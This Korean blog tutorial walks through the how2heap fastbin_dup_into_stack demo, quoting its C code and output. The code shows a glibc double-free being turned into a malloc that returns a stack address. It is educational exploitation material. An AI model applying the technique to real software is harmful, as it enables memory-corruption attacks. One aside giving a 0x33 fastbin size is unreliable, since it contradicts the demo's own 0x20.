ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 0x05.How2heap - fastbin_dup_into_stack
    0x.Heap Tutorial 2018. 3. 12. 17:29

    0x05. How2heap - fastbin_dup_into_stack


    fastbin 취약점의 응용 단계로 *fd의 값을 stack으로 변환시켜 fake_chunk를 할당하는 방법에 대한 설명이다.

    #include <stdio.h>
    #include <stdlib.h>

    int main()
    {
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
          "returning a pointer to a controlled location (in this case, the stack).\n");

    unsigned long long stack_var;

    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
    "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *d = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
    "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
    "so that malloc will think there is a free chunk there and agree to\n"
    "return a pointer to it.\n", a);
    stack_var = 0x20;

    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
    }

    이번에도 역시 한 줄씩 보도록 하겠다.

    unsigned long long stack_var;

    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

    먼저 stack_var라는 이름으로 변수 하나를 할당해주는데, *fd의 값을 double-free 버그를 활용(악용?)하여 위 변수의 주소가 가리키는 값 근처로 뛰게 할 것이다.

    The address we want malloc() to return is 0x7ffe2ba60938.

    변수는 스택에 저장되기 때문에 스택의 어느 한 부분을 주소값으로 출력해준다.

    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    그 다음 절차로 a,b,c 포인터를 할당하여 8바이트 만큼의 크기로 malloc을 3번 진행하였다.

    1st malloc(8): 0xbfb010
    2nd malloc(8): 0xbfb030
    3rd malloc(8): 0xbfb050

    저번과 같이 a, b, c 동적 메모리 영역이 순차적으로 할당되었다. (역시나 서로 인접해있다.)

    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

    free(a)를 진행하고나면,

    If we free 0xbfb010 again, things will crash because 0xbfb010 is at the top of the free list.

    fastbin free-list에 추가가 될 것이고, 만약 다시 malloc(8)이 진행된다면, 이 주소값(0xbfb010)이 다시 재사용될 것이다.

    free(b);
    free(a);

    dobule-free 버그를 트리거하기위해 b영역을 해제하고 다시 해제했던 영역인 a에 대한 해제를 진행하였다. 그 다음에 fastbin free-list를 예상해보면.

    Now the free list has [ 0xbfb010, 0xbfb030, 0xbfb010 ]. We'll now carry out our attack by modifying data at 0xbfb010.

    a, b, a의 동적 메모리 영역 주소값이 들어가 있을 것이라고 예상할 수 있다. 솔직히 말하면 예상이 아니라 사실이긴 하다.

    unsigned long long *d = malloc(8);

    d변수를 malloc(8)로 할당을 하면 아마 0xbfb010에 할당될 것이다. free list의 젤 첫번째에 위치한 값이기 때문이니까.

    1st malloc(8): 0xbfb010

    역시나 예상과 정확하게 일치했다. 아주 공부를 열심히 한 보람이 있다. 그렇다면 다시한번 더 malloc(8)을 해주면 어떤 결과가 일어날까?

    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));

    지금까지의 학습으로 미루어볼때 분명 0xbfb030이 할당 될 것이다. 결과를 확인해보면,

    2nd malloc(8): 0xbfb030

    완벽하다. 그럼 이번에 다시 또 malloc(8)을 하게된다면?? 0xbfb010에 할당될 것이다.

    Now, we have access to 0xbfb010 while it remains at the head of the free list.
    so now we are writing a fake free size (in this case, 0x20) to the stack,
    so that malloc will think there is a free chunk there and agree to
    return a pointer to it.

    이 과정에서 우리는 저번과 달리 하나의 과정을 더 추가할 것이다. 바로 fake_chunk를 할당하는 작업이다. fastbin은 freelist를 *fd를 통해 링크리스트 형태로 관리하는데, 이번 malloc(8)은 첫 a의 할당영역, 지금의 예정 할당영역인 0xbfb010에 할당을 시도할 것이다. 만약에 이 단계에서 우리가 원하는 주소값으로 *fd의 값을 조작할 수 있다면 원하는 주소값으로 뛰게 될 것이다.

    아까 맨처음에 할당한 변수의 주소로 이 *fd의 값을 조작할 수 있으면 스택에 malloc(8) 즉, fake_chunk를 할당할 수 있지 않을까?

    stack_var = 0x20;

    여기서 중요한 점은 fastbin은 크기가 같은 것들기리 관리가 된다는 것이다. 그래서 스택에 할당을 하기 위해서는 size 체크를 수행할 때 fake_chunk의 사이즈 부분이 할당하고자 하는 동적 영역과 같은 크기를 가지고 있어야 하며, prev_inuse 플래그가 0인 상태여야 한다. 그렇기 때문에 0x20을 미리 스택에다가 넣어준다. 이 크기는 그저 malloc()의 인자로 넣는 값이 아닌 할당이 된 후의 최종 fastbin의 크기값이 되어야 한다. 참고로 16바이트 이하의 fastbin이 할당되면 0x33의 크기를 가진다. 그 이상의 경우에는 16(+1)의 값을 계산하면 된다.

    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

    위와 같이 사이즈 만큼을 빼주는 이유는 현재 fake_chunk의 사이즈 값을 가리키고 있기 때문에 청크의 시작부분을 가리키도록 수정을 해준다고 생각하면 된다.

    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));

    이제 다시 할당을 하면 0xbfb010에 접근할 것이고, *fd의 값을 스택의 주소로 덮어씌운다.

    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));

    이제 한 번 더 같은 크기를 할당을 해주면.

    4th malloc(8): 0x7ffe2ba60938

    의도한 대로 스택의 주소로 할당을 진행하여 fake_chunk의 생성이 완료된 것을 확인할 수 있다!!

    '0x.Heap Tutorial' 카테고리의 다른 글

    0x07.How2heap - fastbin_dup_consolidate  (0) 2018.04.09
    0x06.Malloc hook  (0) 2018.03.19
    0x04.How2heap - fastbin_dup  (0) 2018.03.08
    0x03.How2heap - first_fit  (0) 2018.03.08
    0x02.Arena and Chunk  (0) 2018.03.07

    댓글

Designed by Tistory.